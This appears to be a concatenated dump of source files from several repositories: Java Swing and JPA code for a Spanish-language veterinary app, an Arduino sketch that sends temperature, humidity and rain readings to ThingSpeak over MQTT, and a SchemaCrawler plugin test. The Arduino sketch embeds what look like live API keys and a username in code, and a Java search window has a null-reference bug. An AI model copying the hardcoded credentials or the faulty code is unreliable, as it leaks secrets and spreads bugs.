javax.swing.GroupLayout.PREFERRED_SIZE) .addGroup(jPanel22Layout.createSequentialGroup() .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel40) .addComponent(jLabel39) .addComponent(jLabel44) .addComponent(jLabel45)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jFormattedTextField24, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox14, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jSpinner10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jComboBox15, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)))) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel41) .addComponent(jLabel43)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(jPanel22Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jFormattedTextField25, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jSpinner9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addContainerGap(41, Short.MAX_VALUE)) ); jTabbedPane6.addTab("General", jPanel22); javax.swing.GroupLayout jPanel23Layout = new javax.swing.GroupLayout(jPanel23); jPanel23.setLayout(jPanel23Layout); jPanel23Layout.setHorizontalGroup( jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 542, Short.MAX_VALUE) ); jPanel23Layout.setVerticalGroup( jPanel23Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 187, Short.MAX_VALUE) ); jTabbedPane6.addTab("Opcional", jPanel23); jScrollPane13.setViewportView(jEditorPane5); javax.swing.GroupLayout jPanel24Layout = new javax.swing.GroupLayout(jPanel24); jPanel24.setLayout(jPanel24Layout); jPanel24Layout.setHorizontalGroup( jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel24Layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane13) .addContainerGap()) ); jPanel24Layout.setVerticalGroup( jPanel24Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel24Layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane13, javax.swing.GroupLayout.DEFAULT_SIZE, 165, Short.MAX_VALUE) .addContainerGap()) ); jTabbedPane6.addTab("Detalle", jPanel24); SplitPanelArt4.setBottomComponent(jTabbedPane6); PanelButtonsArt4.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.DEFAULT_POSITION, new java.awt.Font("Tahoma", 0, 11), new java.awt.Color(51, 51, 255))); // NOI18N jButton30.setBackground(new java.awt.Color(255, 255, 255)); jButton30.setText("Nuevo"); jButton31.setText("Modificar"); jButton32.setText("Eliminar"); jButton33.setText("Imprimir"); jButton35.setText("Comprar"); jButton36.setText("Opciones"); javax.swing.GroupLayout PanelButtonsArt4Layout = new javax.swing.GroupLayout(PanelButtonsArt4); PanelButtonsArt4.setLayout(PanelButtonsArt4Layout); PanelButtonsArt4Layout.setHorizontalGroup( PanelButtonsArt4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PanelButtonsArt4Layout.createSequentialGroup() .addContainerGap() .addGroup(PanelButtonsArt4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jButton33, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton32, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton31, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton30, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton36, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE) .addComponent(jButton35, javax.swing.GroupLayout.DEFAULT_SIZE, 85, Short.MAX_VALUE)) .addContainerGap()) ); PanelButtonsArt4Layout.setVerticalGroup( PanelButtonsArt4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(PanelButtonsArt4Layout.createSequentialGroup() .addContainerGap() .addComponent(jButton30, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton31, javax.swing.GroupLayout.PREFERRED_SIZE, 34, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton32, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(jButton33, javax.swing.GroupLayout.PREFERRED_SIZE, 32, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addComponent(jButton35, javax.swing.GroupLayout.PREFERRED_SIZE, 35, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 106, Short.MAX_VALUE) .addComponent(jButton36, javax.swing.GroupLayout.PREFERRED_SIZE, 33, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); javax.swing.GroupLayout TabArticulos4Layout = new javax.swing.GroupLayout(TabArticulos4); TabArticulos4.setLayout(TabArticulos4Layout); TabArticulos4Layout.setHorizontalGroup( TabArticulos4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabArticulos4Layout.createSequentialGroup() .addContainerGap() .addGroup(TabArticulos4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, TabArticulos4Layout.createSequentialGroup() .addComponent(TextFieldBuscarArt4, javax.swing.GroupLayout.PREFERRED_SIZE, 214, javax.swing.GroupLayout.PREFERRED_SIZE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(ButtonBuscarArt4, javax.swing.GroupLayout.PREFERRED_SIZE, 27, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, TabArticulos4Layout.createSequentialGroup() .addComponent(SplitPanelArt4, javax.swing.GroupLayout.DEFAULT_SIZE, 549, Short.MAX_VALUE) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addComponent(PanelButtonsArt4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))) .addContainerGap()) ); TabArticulos4Layout.setVerticalGroup( TabArticulos4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabArticulos4Layout.createSequentialGroup() .addContainerGap() .addGroup(TabArticulos4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(ButtonBuscarArt4, javax.swing.GroupLayout.PREFERRED_SIZE, 22, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(TextFieldBuscarArt4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) .addGroup(TabArticulos4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(PanelButtonsArt4, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(SplitPanelArt4, javax.swing.GroupLayout.DEFAULT_SIZE, 374, Short.MAX_VALUE)) .addContainerGap()) ); javax.swing.GroupLayout TabComprarLayout = new javax.swing.GroupLayout(TabComprar); TabComprar.setLayout(TabComprarLayout); TabComprarLayout.setHorizontalGroup( TabComprarLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 900, Short.MAX_VALUE) .addGroup(TabComprarLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabComprarLayout.createSequentialGroup() .addGap(0, 102, Short.MAX_VALUE) .addComponent(TabArticulos4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 102, Short.MAX_VALUE))) ); TabComprarLayout.setVerticalGroup( TabComprarLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 453, Short.MAX_VALUE) .addGroup(TabComprarLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(TabComprarLayout.createSequentialGroup() .addGap(0, 14, Short.MAX_VALUE) .addComponent(TabArticulos4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 15, Short.MAX_VALUE))) ); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); this.setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 900, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(0, 0, Short.MAX_VALUE) .addComponent(TabComprar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGap(0, 453, Short.MAX_VALUE) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addGap(0, 0, Short.MAX_VALUE) .addComponent(TabComprar, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) .addGap(0, 0, Short.MAX_VALUE))) ); }// </editor-fold>//GEN-END:initComponents // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton ButtonBuscarArt4; private javax.swing.JPanel PanelButtonsArt4; private javax.swing.JSplitPane SplitPanelArt4; private javax.swing.JPanel TabArticulos4; private javax.swing.JPanel TabComprar; private javax.swing.JTextField TextFieldBuscarArt4; private javax.swing.JButton jButton30; private javax.swing.JButton jButton31; private javax.swing.JButton jButton32; private javax.swing.JButton jButton33; private javax.swing.JButton jButton35; private javax.swing.JButton jButton36; private javax.swing.JComboBox jComboBox13; private javax.swing.JComboBox jComboBox14; private javax.swing.JComboBox jComboBox15; private javax.swing.JEditorPane jEditorPane5; private javax.swing.JFormattedTextField jFormattedTextField21; private javax.swing.JFormattedTextField jFormattedTextField22; private javax.swing.JFormattedTextField jFormattedTextField23; private javax.swing.JFormattedTextField jFormattedTextField24; private javax.swing.JFormattedTextField jFormattedTextField25; private javax.swing.JLabel jLabel37; private javax.swing.JLabel jLabel38; private javax.swing.JLabel jLabel39; private javax.swing.JLabel jLabel40; private javax.swing.JLabel jLabel41; private javax.swing.JLabel jLabel42; private javax.swing.JLabel jLabel43; private javax.swing.JLabel jLabel44; private javax.swing.JLabel jLabel45; private javax.swing.JPanel jPanel22; private javax.swing.JPanel jPanel23; private javax.swing.JPanel jPanel24; private javax.swing.JScrollPane jScrollPane13; private javax.swing.JScrollPane jScrollPane5; private javax.swing.JSpinner jSpinner10; private javax.swing.JSpinner jSpinner9; private javax.swing.JTabbedPane jTabbedPane6; private javax.swing.JTable jTable5; // End of variables declaration//GEN-END:variables } <file_sep>/src/vete/Entidad/Cliente.java package vete.Entidad; import javax.persistence.Entity; import javax.persistence.Inheritance; /** * * @author Lisandro */ @Entity @Inheritance public class Cliente extends Persona{ private static final long serialVersionUID = 1L; private String condicionIva; /** Constructor por defecto */ public Cliente() { super(); } /** * @return the condicionIva */ public String getCondicionIva() { return condicionIva; } /** * @param condicionIva the condicionIva to set */ public void setCondicionIva(String condicionIva) { this.condicionIva = condicionIva; } } <file_sep>/src/vete/Interfaz/Buscar.java /* * Buscar.java * * Created on 21 de junio de 2007, 17:08 */ package vete.Interfaz; import java.util.Vector; import javax.swing.JOptionPane; import javax.swing.table.DefaultTableModel; import vete.Entidad.Perfil; import vete.Entidad.Usuario; /** * * @author Lisandro */ public class Buscar extends javax.swing.JFrame { //private String tipoVentana = null; DefaultTableModel dtm = null; Vector<Object> objetos = null; //Vector<Usuario> usuarios = null; //Vector<Perfil> perfiles = null; /** Creates new form Buscar * @param objs * @param tipo */ public Buscar(Vector<Object> objs) { initComponents(); init(objs); this.objetos = objs; //this.tipoVentana = tipo; } Vector<Usuario> objetoAUsuario(Vector<Object> objs){ Vector<Usuario> u = null; for (int i=0; i<objs.size(); i++){ u.set(i, (Usuario) objs.elementAt(i)); } return u; } Vector<Perfil> objetoAPerfil(Vector<Object> objs){ Vector<Perfil> p = null; for (int i=0; i<objs.size(); i++){ p.set(i, (Perfil) objs.elementAt(i)); } return p; } private void init(Vector<Object> objs) { if (objs.firstElement() instanceof Usuario) { this.setTitle("Busqueda de Usuarios"); String[] columnas = {"Usuario"}; dtm = new DefaultTableModel(columnas, 0); cargarUsuarios(objetoAUsuario(objetos)); } else if (objs.firstElement() instanceof Perfil) { this.setTitle("Busqueda de Perfiles"); String[] columnas = {"Perfil"}; dtm = new DefaultTableModel(columnas, 0); cargarPerfiles(objetoAPerfil(objetos)); } jtBuscar.setModel(dtm); } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ // <editor-fold defaultstate="collapsed" desc=" Generated Code ">//GEN-BEGIN:initComponents private void initComponents() { jScrollPane1 = new javax.swing.JScrollPane(); jtBuscar = new javax.swing.JTable(); jbCerrar = new javax.swing.JButton(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); jtBuscar.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { {null, null}, {null, null} }, new String [] { "", "" } ) { boolean[] canEdit = new boolean [] { false, false }; public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jtBuscar.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { jtBuscarMouseClicked(evt); } }); jScrollPane1.setViewportView(jtBuscar); jbCerrar.setText("Cerrar"); jbCerrar.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { jbCerrarMouseClicked(evt); } }); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap(319, Short.MAX_VALUE) .addComponent(jbCerrar) .addContainerGap()) .addGroup(layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 375, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(13, Short.MAX_VALUE)) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup() .addContainerGap() .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 280, Short.MAX_VALUE) .addGap(18, 18, 18) .addComponent(jbCerrar) .addContainerGap()) ); pack(); }// </editor-fold>//GEN-END:initComponents private void jtBuscarMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jtBuscarMouseClicked if (objetos.firstElement() instanceof Usuario) { try{ //MainFrame.mf.ultimoUsuario = usuarios.get(jtBuscar.getSelectedRow()); } catch(Exception e){ JOptionPane.showMessageDialog(null, e.getMessage(),"Alta Perfil", JOptionPane.INFORMATION_MESSAGE); } } else if (objetos.firstElement() instanceof Perfil) { //MainFrame.mf.ultimoPerfil = perfiles.get(jtBuscar.getSelectedRow()); } this.dispose(); }//GEN-LAST:event_jtBuscarMouseClicked public void cargarUsuarios(Vector<Usuario> usuarios) { //this.usuarios = usuarios; for (Usuario usuario : usuarios) { String[] fila = {usuario.getNombre()}; dtm.addRow(fila); } } public void cargarPerfiles(Vector<Perfil> perfiles) { //this.perfiles = perfiles; for (Perfil perfil : perfiles) { String[] fila = {perfil.getNombre()}; dtm.addRow(fila); } } private void jbCerrarMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jbCerrarMouseClicked this.dispose(); }//GEN-LAST:event_jbCerrarMouseClicked // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JScrollPane jScrollPane1; private javax.swing.JButton jbCerrar; private javax.swing.JTable jtBuscar; // End of variables declaration//GEN-END:variables } <file_sep>/src/vete/Negocio/GestorDomicilio.java package vete.Negocio; import java.util.HashMap; import java.util.List; import vete.Entidad.Domicilio; import vete.Persistencia.Repositorio; /** * * @author Lisandro */ public class GestorDomicilio { static GestorDomicilio instancia = null; public GestorDomicilio() { } /** * Este método devuelve una instancia del GestorDomicilio. * @return GestorDomicilio */ public static synchronized GestorDomicilio getInstancia() { //Aplicación del patron singleton //Si no existe una instancia del GestorDomicilio la crea if( instancia == null ) { instancia = new GestorDomicilio(); } return instancia; } public void ingresar(HashMap<String, Object> datosDomicilio) { //Crea un Domicilio a partir de la Hash Domicilio domicilio = armarDomicilio(datosDomicilio); //Le asigna un uid generado al azar al Domicilio domicilio.generarUid(); //Persiste el Domicilio Repositorio.getInstancia().grabar( domicilio ); } public List<Domicilio> buscar(HashMap<String, Object> datosDomicilio) { //Crea un Domicilio a partir de la Hash Domicilio domicilio = armarDomicilio(datosDomicilio); //TODO Busca Domicilio en la persistencia List<Domicilio> domicilios = null; // domicilios = Fachada.getInstancia().buscarDomicilio( domicilio ); return domicilios; } public void actualizar(HashMap<String, Object> datosDomicilio) { //Crea un Domicilio a partir de la Hash Domicilio domicilio = armarDomicilio(datosDomicilio); //Persiste el Domicilio Repositorio.getInstancia().actualizar( domicilio ); } public void actualizar(Domicilio domicilio) { //Persiste el Domicilio Repositorio.getInstancia().actualizar( domicilio ); } public void eliminar(HashMap<String, Object> datosDomicilio) { //Crea un Domicilio a partir de la Hash Domicilio domicilio = armarDomicilio(datosDomicilio); //Persiste el Domicilio Repositorio.getInstancia().borrar( domicilio ); } public void eliminar(Domicilio domicilio) { //Persiste el Domicilio Repositorio.getInstancia().borrar( domicilio ); } public Domicilio armarDomicilio(HashMap<String, Object> datosDomicilio){ Domicilio domicilio = new Domicilio(); //Recupera los datos del domicilio de una Hash y construye un Domicilio domicilio.setUid((String)datosDomicilio.get("uid")); domicilio.setCalle((String)datosDomicilio.get("calle")); domicilio.setDepartamento((String)datosDomicilio.get("departamento")); domicilio.setLocalidad((String)datosDomicilio.get("localidad")); domicilio.setNumero((String)datosDomicilio.get("numero")); domicilio.setPais((String)datosDomicilio.get("pais")); domicilio.setPiso((String) datosDomicilio.get("piso")); domicilio.setProvincia((String)datosDomicilio.get("provincia")); return domicilio; } } <file_sep>/src/vete/Entidad/Permiso.java package vete.Entidad; import java.io.Serializable; import java.util.UUID; import javax.persistence.Entity; import javax.persistence.Id; import vete.Persistencia.IPersistente; /** * * @author Lisandro */ @Entity public class Permiso implements Serializable, IPersistente { private static final long serialVersionUID = 1L; @Id private String uid; private String objeto; private boolean actualizar; private boolean insertar; private boolean leer; private boolean borrar; private boolean borrado; public Permiso() { } /** * */ @Override public void generarUid(){ if( getUid() == null ) { setUid(UUID.randomUUID().toString()); } } /** * @return the uid */ public String getUid() { return uid; } /** * @param uid the uid to set */ public void setUid(String uid) { this.uid = uid; } /** * @return the objeto */ public String getObjeto() { return objeto; } /** * @param objeto the objeto to set */ public void setObjeto(String objeto) { this.objeto = objeto; } /** * @return the actualizar */ public boolean isActualizar() { return actualizar; } /** * @param actualizar the actualizar to set */ public void setActualizar(boolean actualizar) { this.actualizar = actualizar; } /** * @return the insertar */ public boolean isInsertar() { return insertar; } /** * @param insertar the insertar to set */ public void setInsertar(boolean insertar) { this.insertar = insertar; } /** * @return the leer */ public boolean isLeer() { return leer; } /** * @param leer the leer to set */ public void setLeer(boolean leer) { this.leer = leer; } /** * @return the borrar */ public boolean isBorrar() { return borrar; } /** * @param borrar the borrar to set */ public void setBorrar(boolean borrar) { this.borrar = borrar; } /** * @return the borrado */ public boolean isBorrado() { return borrado; } /** * @param borrado the borrado to set */ @Override public void setBorrado(boolean borrado) { this.borrado = borrado; } }
569e0e7ec33a561de19b6101684daeb8fa3f7d02
[ "Java", "INI" ]
17
Java
lisandro101/vetecheck
b2d96f2a29035683bf695c1b63e975cb6558b459
1f3ae202334a019cba667b45598c64b2be818bad
refs/heads/master
<file_sep># estacao-metereologica-iot Projeto que faz a leitura de sensor de umidade, temperatura e chuva, e envia esses dados para serviço na WEB através do protocolo MQTT. Utiliza a placa Arduino Uno, sensor de temperatura e umidade DHT11 e sensor de chuva. Módulo de comunicação WiFi ESP8266. # Bibliotecas utilizadas para versão final: - [WiFiEsp](https://github.com/bportaluri/WiFiEsp) - [Adafruit_MQTT_Library](https://github.com/adafruit/Adafruit_MQTT_Library) - [Adafruit DHT Humidity & Temperature Unified Sensor Library](https://github.com/adafruit/DHT-sensor-library) # Agradecimentos: - [ESP8266 Community](https://github.com/esp8266) - [Arduino Client for MQTT](https://github.com/knolleary/pubsubclient) <file_sep> /* estacao-metereologica-iot Autora: <NAME> Descricao: Projeto que pretende fazer a leitura de sensor de umidade, temperatura e chuva, e envia esses dados para serviço através do protocolo MQTT. Utiliza a placa Arduino Uno, sensor DHT11 e sensor de chuva. */ #include "WiFiEsp.h" #include "WiFiEspClient.h" #include "Adafruit_MQTT.h" #include "Adafruit_MQTT_Client.h" #include <DHT.h> #define DHTPIN 2 //pino digital para o sensor de umidade e temperatura #define DHTTYPE DHT11 DHT dht(DHTPIN, DHTTYPE); /********************************** Configuração WiFi ****************************************/ #define WLAN_SSID "XXXXXXXX" #define WLAN_PASS "<PASSWORD>" int status = WL_IDLE_STATUS; /********************************** Configuração MQTT ***************************************/ #define SERVER "mqtt.thingspeak.com" #define SERVERPORT 1883 // use 8883 for SSL #define USERNAME "priscyllat" #define MQTT_KEY "RTLB4NDHEYFD43CU" /***************************** Estado Global ************************************************/ #include<SoftwareSerial.h> SoftwareSerial Serial1(3, 4); // Configura o cliente MQTT passando o cliente WiFi e o login do servidor MQTT. WiFiEspClient client; // Setup the MQTT client class by passing in the WiFi client and MQTT server and login details. Adafruit_MQTT_Client mqtt(&client, SERVER, SERVERPORT, USERNAME, MQTT_KEY); /****************************** Configuração dos campos ***************************************/ unsigned long myChannelNumber = 452132; const char * myWriteAPIKey = "<KEY>"; // Notice MQTT paths follow the form: channels/<channelId>/publish/fields/field<fieldNumer> Adafruit_MQTT_Publish temperatura = Adafruit_MQTT_Publish(&mqtt, "channels/452132/publish/fields/field1/FTXKGNZ7M6UIT8V9"); Adafruit_MQTT_Publish umidade = Adafruit_MQTT_Publish(&mqtt, "channels/452132/publish/fields/field2/FTXKGNZ7M6UIT8V9"); Adafruit_MQTT_Publish chuva = Adafruit_MQTT_Publish(&mqtt, "channels/452132/publish/fields/field3/FTXKGNZ7M6UIT8V9"); /*********************************** Variáveis ***********************************************/ int chuvaDigital = 6; //Pino ligado ao D0 do sensor int chuvaAnalogico = A0; //Pino ligado ao A0 do sensor long chuvaDigitalValor = 0; long chuvaAnalogicoValor = 0; /************************************* Sketch ************************************************/ void MQTT_connect(); void setup() { pinMode(chuvaDigital, INPUT); pinMode(chuvaAnalogico, INPUT); Serial.begin(9600); delay(10); dht.begin(); Serial.println(F("MQTT - Estacao Climatica IoT")); Serial1.begin(19200); WiFi.init(&Serial1); //Conecta a WiFi. Serial.println(); Serial.print("Conectando a "); Serial.println(WLAN_SSID); //tentativa de conectar a rede WiFi while ( status != WL_CONNECTED) { Serial.print("Tentando conectar a WPA de SSID: "); Serial.println(WLAN_SSID); //Conecta a rede WPA/WPA2 network status = WiFi.begin(WLAN_SSID, WLAN_PASS); } Serial.println(); Serial.println("WiFi conectado"); Serial.println("Endereço IP: "); Serial.println(WiFi.localIP()); } void loop() { //Se certifica de que há conecxão ao servidor MQTT está viva //Isso fará a primeira conexão e automaticamente reconecta quando desconectado. MQTT_connect(); float t = dht.readTemperature(); // Lê a temperatura do sensor DHT. float h = dht.readHumidity(); // Lê a umidade do sensor DHT. // Plublicando temperatura Serial.print(F("\nEnviando temperatura: ")); Serial.print(t); if (! temperatura.publish(t)) { Serial.println(F("Failed")); } else { Serial.println(F("OK!")); } //delay necessário para o thinkspeak delay16s(); // Plublicando umidade Serial.print(F("\nEnviando umidade: ")); Serial.print(h); if (! umidade.publish(h)) { Serial.println(F("Failed")); } else { Serial.println(F("OK!")); } //Le e arnazena o valor do pino digital chuvaDigitalValor = digitalRead(chuvaDigital); //Le e armazena o valor do pino analogico chuvaAnalogicoValor = analogRead(chuvaAnalogico); //Envia as informacoes para o serial monitor Serial.print("Valor digital : "); Serial.print(chuvaDigitalValor); Serial.print(" - Valor analogico : "); Serial.println(chuvaAnalogicoValor); //delay necessário para o thinkspeak delay16s(); //Plublicando se houve chuva Serial.print(F("\nEnviando se ocorreu chuva: ")); Serial.print(chuvaDigitalValor); Serial.print("..."); if (! chuva.publish(chuvaDigitalValor)) { Serial.println(F("Failed")); } else { Serial.println(F("OK!")); } delay15m(); } void delay15m(){ for(int i = 0; i < 900; i++){ delay(1000); } } void delay16s(){ for(int i = 0; i < 16; i++){ delay(1000); } } // Função que conecta e reconecta quando necessário ao servidor MQTT. // Deve ser chamada no loop e manipulará a conexão. void MQTT_connect() { int8_t ret; // Para se já conectado. if (mqtt.connected()) { return; } Serial.print("Conectando ao MQTT... "); uint8_t retries = 3; while ((ret = mqtt.connect()) != 0) { // connect retornará 0 para conectado Serial.println(mqtt.connectErrorString(ret)); Serial.println("Tentando novamente a conexão MQTT em 5 segundos..."); mqtt.disconnect(); delay(5000); // espera 5 segundos retries--; if (retries == 0) { // Espera pelo WTD para se resetar while (1); } } Serial.println("MQTT Connected!"); }
7810762e815a9f5bb88f79e3c8bd6fa8aaa7537d
[ "Markdown", "C++" ]
2
Markdown
PriscyllaT/estacao-climatica-iot
b7f85a10060bf05fde31920238f5728bace451ac
7d436ce5cb92670bbceeb114848052588e5403dd
refs/heads/master
<repo_name>uzbekdev1/SchemaCrawler<file_sep>/schemacrawler-commandline/src/test/java/schemacrawler/test/TestAvailablePlugins.java package schemacrawler.test; import static java.util.stream.Collectors.toList; import static org.hamcrest.CoreMatchers.containsString; import static org.hamcrest.CoreMatchers.hasItem; import static org.hamcrest.CoreMatchers.is; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.collection.IsIterableContainingInOrder.contains; import java.io.ByteArrayOutputStream; import java.io.PrintStream; import java.io.UnsupportedEncodingException; import java.nio.charset.StandardCharsets; import java.sql.Driver; import java.util.ArrayList; import java.util.List; import org.junit.jupiter.api.Test; import schemacrawler.tools.commandline.command.AvailableCatalogLoaders; import schemacrawler.tools.commandline.command.AvailableCommands; import schemacrawler.tools.commandline.command.AvailableJDBCDrivers; import schemacrawler.tools.commandline.command.AvailableServers; public class TestAvailablePlugins { @Test public void availableCatalogLoaders() { assertThat( new AvailableCatalogLoaders(), contains( "weakassociationsloader", "testloader", "attributesloader", "countsloader", "schemacrawlerloader")); } @Test public void availableCommands() { assertThat( new AvailableCommands(), contains( "brief", "count", "details", "dump", "list", "quickdump", "schema", "test-command")); } @Test public void availableJDBCDrivers() throws UnsupportedEncodingException { final AvailableJDBCDrivers availableJDBCDrivers = new AvailableJDBCDrivers(); final int size = availableJDBCDrivers.size(); assertThat(size == 3 || size == 4, is(true)); final List<Driver> availableJDBCDriversList = new ArrayList<>(); availableJDBCDrivers.forEach(availableJDBCDriversList::add); assertThat( availableJDBCDriversList .stream() .map(driver -> driver.getClass().getTypeName()) .collect(toList()), hasItem("org.hsqldb.jdbc.JDBCDriver")); final ByteArrayOutputStream baos = new ByteArrayOutputStream(); final String utf8 = StandardCharsets.UTF_8.name(); try (final PrintStream out = new PrintStream(baos, true, utf8)) { availableJDBCDrivers.print(out); } final String data = baos.toString(utf8); assertThat(data.replace("\r", ""), containsString("Available JDBC drivers:")); assertThat(data.replace("\r", ""), containsString("org.hsqldb.jdbc.JDBCDriver")); } @Test public void availableServers() { assertThat(new AvailableServers(), contains("test-db")); } }
